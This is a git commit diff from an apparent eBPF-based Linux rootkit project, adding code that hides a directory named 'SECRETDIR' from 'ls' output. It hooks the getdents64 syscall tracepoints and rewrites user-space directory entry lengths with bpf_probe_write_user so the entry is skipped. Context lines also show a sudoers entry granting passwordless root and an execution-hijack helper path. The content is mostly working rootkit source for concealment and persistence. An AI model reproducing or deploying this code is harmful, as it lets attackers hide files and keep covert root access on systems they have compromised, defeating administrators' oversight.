Added hide directory capabilities for the rootkit

This commit is contained in:
h3xduck
2022-05-16 11:24:59 -04:00
parent 4044d7994c
commit 82fa056955
11 changed files with 20518 additions and 19795 deletions

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

View File

@@ -18,6 +18,8 @@
#define STRING_FS_SUDOERS_ENTRY "osboxes ALL=(ALL:ALL) NOPASSWD:ALL #"
#define STRING_FS_SUDOERS_ENTRY_LEN 37
#define STRING_SECRET_DIRECTORY_NAME_HIDE "SECRETDIR"
//EXECUTION HIJACKING
#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"

View File

@@ -3,6 +3,14 @@
#ifndef __H_TCKIT
#include "headervmlinux.h"
#else
struct linux_dirent64 {
long long d_ino;
unsigned long long d_off;
short unsigned int d_reclen;
unsigned char d_type;
char d_name[0];
};
#endif
#include "../../../common/c&c.h"
@@ -58,6 +66,12 @@ struct inj_ret_address_data{ //Map value
__s32 padding;
};
//Map value, stores last dirent info of directory by process
struct fs_dir_log_data{
struct linux_dirent64 dirent_info;
};
struct fs_priv_open{ //Map
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 4096);
@@ -105,6 +119,15 @@ struct inj_priv_ret_address{ //Map
__type(value, struct inj_ret_address_data);
} inj_ret_address SEC(".maps");
//Stores directories listed by a process, for later processing at its exit
struct fs_priv_dir_log{ //Map
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 4096);
__type(key, __u64); //thread group id(MSB) + pid (LSB)
__type(value, struct fs_dir_log_data);
} fs_dir_log SEC(".maps");
/*PROTECTED MAPS*/
//Any attempt to access these maps will be blocked by the rootkit if the program is not whitelisted
//Located at /src/map_prot.h

View File

@@ -57,6 +57,29 @@ struct sys_openat_enter_ctx {
umode_t mode;
};
/**
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_getdents64/format
*/
struct sys_getdents64_enter_ctx {
unsigned long long unused;
int __syscall_nr;
unsigned int padding;
unsigned int fd;
struct linux_dirent64 *dirent;
unsigned int count;
};
/**
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_getdents64/format
*/
struct sys_getdents64_exit_ctx {
unsigned long long unused;
int __syscall_nr;
unsigned int padding;
long ret;
};
static __always_inline int handle_tp_sys_enter_read(struct sys_read_enter_ctx *ctx, int fd, char* buf){
__u64 pid_tgid = bpf_get_current_pid_tgid();
__u32 pid = pid_tgid >> 32;
@@ -209,6 +232,124 @@ static __always_inline int handle_tp_sys_enter_openat(struct sys_openat_enter_ct
static __always_inline int handle_tp_sys_enter_getdents64(struct sys_getdents64_enter_ctx *ctx, __u64 pid_tgid){
char comm[TASK_COMM_LEN] = {0};
int err = bpf_get_current_comm(comm, sizeof(comm));
if(err < 0){
return -1;
}
char *task = "ls";
if(str_n_compare(comm, 2, task, 2, 2) != 0){
return 0;
}
struct linux_dirent64 *d_entry;
struct fs_dir_log_data *stored_data = (struct fs_dir_log_data*) bpf_map_lookup_elem(&fs_dir_log, &pid_tgid);
if (stored_data == NULL){
struct fs_dir_log_data data = {0};
err = bpf_probe_read(&(data.dirent_info), sizeof(struct linux_dirent64), &(ctx->dirent));
if(err<0){
bpf_printk("Failed to read dirent info on enter\n");
}
bpf_map_update_elem(&fs_dir_log, &pid_tgid, &data, BPF_ANY);
return 0;
}
struct fs_dir_log_data data = *stored_data;
err = bpf_probe_read(&(data.dirent_info), sizeof(struct linux_dirent64), ctx->dirent);
if(err<0){
bpf_printk("Failed to read dirent info on enter 2\n");
}
bpf_map_update_elem(&fs_dir_log, &pid_tgid, &data, BPF_ANY);
return 0;
}
static __always_inline int handle_tp_sys_exit_getdents64(struct sys_getdents64_exit_ctx *ctx, __u64 pid_tgid){
char comm[TASK_COMM_LEN] = {0};
int err = bpf_get_current_comm(comm, sizeof(comm));
if(err < 0){
return -1;
}
char *task = "ls";
if(str_n_compare(comm, 2, task, 2, 2) != 0){
return 0;
}
struct linux_dirent64 *d_entry;
__u64 *stored_data = bpf_map_lookup_elem(&fs_dir_log, &pid_tgid);
if (stored_data == NULL){
//Nothing for this process
bpf_printk("Exitting getdents, empty\n");
return 0;
}
__u64 d_entry_base_addr = (__u64)(*stored_data);
//Length of directory buffer
//https://linux.die.net/man/2/getdents64
long dir_buf_max = ctx->ret;
long curr_offset = 0;
bpf_printk("Starting dirent search, max:%ld, base_addr: %lx\n", dir_buf_max, d_entry_base_addr);
//We will proceed to iterate through the buffer and look for our secret dir until we are past the limit
struct linux_dirent64* previous_dir = (struct linux_dirent64*)(d_entry_base_addr + curr_offset);
for(int ii=0; ii<16; ii++){
if(curr_offset>=dir_buf_max){
bpf_printk("Finished dirent search because we reached the end\n");
break;
}
struct linux_dirent64 *d_entry = (struct linux_dirent64*)(d_entry_base_addr + curr_offset);
__u16 d_reclen;
__u16 d_name_len;
char d_name[128];
bpf_probe_read(&d_reclen, sizeof(__u16), &d_entry->d_reclen);
//bpf_printk("Record length: %d\n", d_reclen);
char d_type;
bpf_probe_read(&d_type, sizeof(d_type), &d_entry->d_type);
d_name_len = d_reclen - 2 - (offsetof(struct linux_dirent64, d_name));
int err = bpf_probe_read_user(&d_name, 128, d_entry->d_name);
if (err!=0){
//Ignore this entry, error
curr_offset += d_reclen;
//bpf_printk("Error reading directory name\n");
continue;
}
//It is a directory, check if it is ours
if (d_type == 4){
bpf_printk("DIR: %s\n", d_name);
if(previous_dir != NULL){
if(str_n_compare(d_name, sizeof(STRING_SECRET_DIRECTORY_NAME_HIDE)-1, STRING_SECRET_DIRECTORY_NAME_HIDE, sizeof(STRING_SECRET_DIRECTORY_NAME_HIDE)-1, sizeof(STRING_SECRET_DIRECTORY_NAME_HIDE)-1)==0){
__u16 prev_reclen;
bpf_probe_read(&prev_reclen, sizeof(__u16), &previous_dir->d_reclen);
__u16 new_len = prev_reclen + d_reclen;
bpf_printk("Prev dir len:%d, new len:%d", prev_reclen, new_len);
err = bpf_probe_write_user(&(previous_dir->d_reclen), &new_len ,sizeof(__u16));
if(err<0){
bpf_printk("Failed to overwrite directory struct length\n");
}
}
}
bpf_probe_read(&previous_dir, sizeof(struct linux_dirent64*), &d_entry);
curr_offset += d_reclen;
continue;
}
//bpf_printk("Entry found\n");
bpf_printk("FILE: d_reclen: %d, d_name_len: %d, %s", d_reclen, d_name_len, d_name);
//Update the pointer
bpf_probe_read(&previous_dir, sizeof(struct linux_dirent64*), &d_entry);
curr_offset += d_reclen;
//Note, TODO
//We can also overwrite &d_entry->d_name for files!
}
return 0;
}
/**
* @brief Receives read event and stores the parameters into internal map
*
@@ -259,4 +400,34 @@ int tp_sys_enter_openat(struct sys_openat_enter_ctx *ctx){
}
/**
* @brief
*
*/
SEC("tp/syscalls/sys_enter_getdents64")
int tp_sys_enter_getdents64(struct sys_getdents64_enter_ctx *ctx){
__u64 pid_tgid = bpf_get_current_pid_tgid();
if(pid_tgid<0){
//bpf_printk("Out\n");
return -1;
}
return handle_tp_sys_enter_getdents64(ctx, pid_tgid);
}
/**
* @brief
*
*/
SEC("tp/syscalls/sys_exit_getdents64")
int tp_sys_exit_getdents64(struct sys_getdents64_exit_ctx *ctx){
__u64 pid_tgid = bpf_get_current_pid_tgid();
if(pid_tgid<0){
//bpf_printk("Out\n");
return -1;
}
return handle_tp_sys_exit_getdents64(ctx, pid_tgid);
}
#endif

BIN
src/tc.o

Binary file not shown.

View File

@@ -20,11 +20,22 @@ int attach_tp_sys_enter_openat(struct kit_bpf *skel){
skel->links.tp_sys_enter_openat = bpf_program__attach(skel->progs.tp_sys_enter_openat);
return libbpf_get_error(skel->links.tp_sys_enter_openat);
}
int attach_tp_sys_enter_getdents64(struct kit_bpf *skel){
skel->links.tp_sys_enter_getdents64 = bpf_program__attach(skel->progs.tp_sys_enter_getdents64);
return libbpf_get_error(skel->links.tp_sys_enter_getdents64);
}
int attach_tp_sys_exit_getdents64(struct kit_bpf *skel){
skel->links.tp_sys_exit_getdents64 = bpf_program__attach(skel->progs.tp_sys_exit_getdents64);
return libbpf_get_error(skel->links.tp_sys_exit_getdents64);
}
int attach_fs_all(struct kit_bpf *skel){
return attach_tp_sys_enter_read(skel) ||
attach_tp_sys_exit_read(skel) ||
attach_tp_sys_enter_openat(skel);
attach_tp_sys_enter_openat(skel)||
attach_tp_sys_enter_getdents64(skel) ||
attach_tp_sys_exit_getdents64(skel);
}
@@ -52,11 +63,29 @@ int detach_tp_sys_enter_openat(struct kit_bpf *skel){
}
return 0;
}
int detach_tp_sys_enter_getdents64(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.tp_sys_enter_getdents64);
if(err<0){
fprintf(stderr, "Failed to detach fs link\n");
return -1;
}
return 0;
}
int detach_tp_sys_exit_getdents64(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.tp_sys_exit_getdents64);
if(err<0){
fprintf(stderr, "Failed to detach fs link\n");
return -1;
}
return 0;
}
int detach_fs_all(struct kit_bpf *skel){
return detach_tp_sys_enter_read(skel) ||
detach_tp_sys_exit_read(skel) ||
detach_tp_sys_enter_openat(skel);
detach_tp_sys_enter_openat(skel)||
detach_tp_sys_enter_getdents64(skel)||
detach_tp_sys_exit_getdents64(skel);
}
#endif

View File

@@ -18,7 +18,9 @@ module_config_t module_config = {
.all = ON,
.tp_sys_enter_read = OFF,
.tp_sys_exit_read = OFF,
.tp_sys_enter_openat = OFF
.tp_sys_enter_openat = OFF,
.tp_sys_enter_getdents64 = OFF,
.tp_sys_exit_getdents64 = OFF
},
.exec_module = {
.all = ON,
@@ -74,6 +76,8 @@ int setup_all_modules(){
if(config.fs_module.tp_sys_enter_read == ON) ret = attach_tp_sys_enter_read(attr.skel);
if(config.fs_module.tp_sys_exit_read == ON) ret = attach_tp_sys_exit_read(attr.skel);
if(config.fs_module.tp_sys_enter_openat == ON) ret = attach_tp_sys_enter_openat(attr.skel);
if(config.fs_module.tp_sys_enter_getdents64 == ON) ret = attach_tp_sys_enter_getdents64(attr.skel);
if(config.fs_module.tp_sys_exit_getdents64 == ON) ret = attach_tp_sys_exit_getdents64(attr.skel);
}
if(ret!=0) return -1;

View File

@@ -28,6 +28,8 @@ typedef struct module_config_t{
char tp_sys_enter_read;
char tp_sys_exit_read;
char tp_sys_enter_openat;
char tp_sys_enter_getdents64;
char tp_sys_exit_getdents64;
}fs_module;
struct exec_module {